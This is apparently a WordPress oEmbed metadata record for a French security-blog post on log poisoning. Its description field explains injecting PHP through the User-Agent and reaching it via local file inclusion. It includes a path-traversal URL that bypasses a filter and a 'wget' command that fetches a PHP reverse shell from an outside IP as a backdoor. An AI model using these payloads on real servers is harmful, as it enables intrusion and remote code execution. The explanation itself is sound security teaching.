{"version":"1.0","provider_name":"S\u00e9curiser votre site","provider_url":"https:\/\/www.searchevolution.com\/security","author_name":"Germain","author_url":"https:\/\/www.searchevolution.com\/security\/author\/germain\/","title":"Log poisoning - S\u00e9curiser votre site","type":"rich","width":600,"height":338,"html":"<blockquote class=\"wp-embedded-content\" data-secret=\"2xFyjEkilc\"><a href=\"https:\/\/www.searchevolution.com\/security\/2021\/06\/26\/log-poisoning\/\">Log poisoning<\/a><\/blockquote><iframe sandbox=\"allow-scripts\" security=\"restricted\" src=\"https:\/\/www.searchevolution.com\/security\/2021\/06\/26\/log-poisoning\/embed\/#?secret=2xFyjEkilc\" width=\"600\" height=\"338\" title=\"&laquo; Log poisoning &raquo; &#8212; S\u00e9curiser votre site\" data-secret=\"2xFyjEkilc\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" class=\"wp-embedded-content\"><\/iframe><script type=\"text\/javascript\">\n\/* <![CDATA[ *\/\n\/*! This file is auto-generated *\/\n!function(d,l){\"use strict\";l.querySelector&&d.addEventListener&&\"undefined\"!=typeof URL&&(d.wp=d.wp||{},d.wp.receiveEmbedMessage||(d.wp.receiveEmbedMessage=function(e){var t=e.data;if((t||t.secret||t.message||t.value)&&!\/[^a-zA-Z0-9]\/.test(t.secret)){for(var s,r,n,a=l.querySelectorAll('iframe[data-secret=\"'+t.secret+'\"]'),o=l.querySelectorAll('blockquote[data-secret=\"'+t.secret+'\"]'),c=new RegExp(\"^https?:$\",\"i\"),i=0;i<o.length;i++)o[i].style.display=\"none\";for(i=0;i<a.length;i++)s=a[i],e.source===s.contentWindow&&(s.removeAttribute(\"style\"),\"height\"===t.message?(1e3<(r=parseInt(t.value,10))?r=1e3:~~r<200&&(r=200),s.height=r):\"link\"===t.message&&(r=new URL(s.getAttribute(\"src\")),n=new URL(t.value),c.test(n.protocol))&&n.host===r.host&&l.activeElement===s&&(d.top.location.href=t.value))}},d.addEventListener(\"message\",d.wp.receiveEmbedMessage,!1),l.addEventListener(\"DOMContentLoaded\",function(){for(var e,t,s=l.querySelectorAll(\"iframe.wp-embedded-content\"),r=0;r<s.length;r++)(t=(e=s[r]).getAttribute(\"data-secret\"))||(t=Math.random().toString(36).substring(2,12),e.src+=\"#?secret=\"+t,e.setAttribute(\"data-secret\",t)),e.contentWindow.postMessage({message:\"ready\",secret:t},\"*\")},!1)))}(window,document);\n\/* ]]> *\/\n<\/script>\n","description":"Cette technique d&#8217;infiltration se r\u00e9sume \u00e0 ex\u00e9cuter une commande et \u00e0 lire le r\u00e9sultat dans le fichier journal du serveur web. La commande s&#8217;injecte via le User-Agent. http:\/\/www.vulnerable.com\/test.php?view=\/var\/www\/html\/development_testing\/..\/.\/..\/.\/..\/log\/apache2\/access.log&amp;cmd=ls On remarquera qu&#8217;ici le serveur est vuln\u00e9rable \u00e0 l&#8217;inclusion local de fichier (LFI) et que le script filtre les requ\u00eates avec &#8220;..\/..&#8221; et c&#8217;est la raison pour laquelle nous ins\u00e9rons un .\/ entre 2 remont\u00e9es dans le chemin d&#8217;acc\u00e8s. La commande \u00e0 ex\u00e9cuter est ls. Nous pourrions ex\u00e9cuter une commande cmd=wget http:\/\/10.9.0.15\/php-reverse-shell.php pour t\u00e9l\u00e9charger un backdoor sur le serveur. Il suffit d&#8217;intercepter la requ\u00eate avec BURP pour changer le User-Agent: Mozilla\/5.0 &lt;?php"}